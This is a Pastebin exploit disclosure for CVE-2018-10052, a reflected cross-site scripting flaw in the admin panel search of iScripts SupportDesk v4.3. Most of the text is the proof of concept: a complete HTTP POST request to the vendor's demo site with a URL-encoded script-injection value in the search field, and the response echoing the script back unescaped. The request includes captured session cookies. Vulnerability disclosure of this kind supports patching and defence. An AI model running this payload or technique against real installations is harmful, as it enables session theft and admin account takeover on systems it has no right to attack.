daily pastebin goal
68%
SHARE
TWEET

CVE-2018-10052

ManhNho Apr 11th, 2018 (edited) 192 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # Exploit title: iScripts SupportDesk v4.3 - XSS via the getInteligentSearch() Admin Panel
  2. # Date: 11/04/2018
  3. # Exploit Author: ManhNho
  4. # Vendor Homepage: https://www.iscripts.com
  5. # Software Link: https://www.iscripts.com/supportdesk/
  6. # Demo Link: https://www.demo.iscripts.com/supportdesk/demo/admin/adminmain.php
  7. # Version: 4.3
  8. # CVE: CVE-2018-10052
  9. # Tested on: Windows 10 / Kali Linux
  10. # Category: Webapps
  11.  
  12.  
  13. #1. Description
  14. -----------------------------------------------------
  15. iScripts SupportDesk v4.3 has XSS via the getInteligentSearch() function parameter in Admin Panel.
  16.  
  17.  
  18. #2. Proof of Concept
  19. -----------------------------------------------------
  20.  
  21. Request:
  22.  
  23. POST /supportdesk/demo/admin/inteligentsearchresult.php HTTP/1.1
  24. Host: www.demo.iscripts.com
  25. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
  26. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  27. Accept-Language: en-GB,en;q=0.5
  28. Accept-Encoding: gzip, deflate
  29. Referer: https://www.demo.iscripts.com/supportdesk/demo/admin/adminmain.php
  30. Content-Type: application/x-www-form-urlencoded
  31. Content-Length: 98
  32. Cookie: __utma=227100805.298811387.1522637403.1523415936.1523431492.7; __utmz=227100805.1522637403.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); messagesUtk=9ae2fcc5306f4d9c8d433f0f58efb968; PHPSESSID=44f6a6jfopm97kfrv7ccsfqub2; __utmc=227100805; __utma=129714457.1603653646.1523416273.1523416273.1523416273.1; __utmc=129714457; __utmz=129714457.1523416273.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmb=227100805; hs-messages-is-open=false
  33. Connection: close
  34. Upgrade-Insecure-Requests: 1
  35.  
  36. txtinteligentsearch=%22%3E%3Cscript%3Ealert%28%271%27%29%3C%2Fscript%3E&btninteligentsearch=Search
  37.  
  38. Response:
  39.  
  40. HTTP/1.1 200 OK
  41. Date: Wed, 11 Apr 2018 07:41:19 GMT
  42. Server: Apache
  43. Expires: Thu, 19 Nov 1981 08:52:00 GMT
  44. Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  45. Pragma: no-cache
  46. Connection: close
  47. Content-Type: text/html
  48. Content-Length: 70324
  49. ...
  50. <form name="frminteligentsearch" id="frminteligentsearch" action="https://www.demo.iscripts.com/supportdesk/demo/admin/inteligentsearchresult.php" method="post">
  51.  
  52.     <div  class="intelligentsearch"><input type="text" name="txtinteligentsearch" id="txtinteligentsearch" class="topsearch_input width1" value=""><script>alert('1')</script>">
  53.  
  54. ...
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top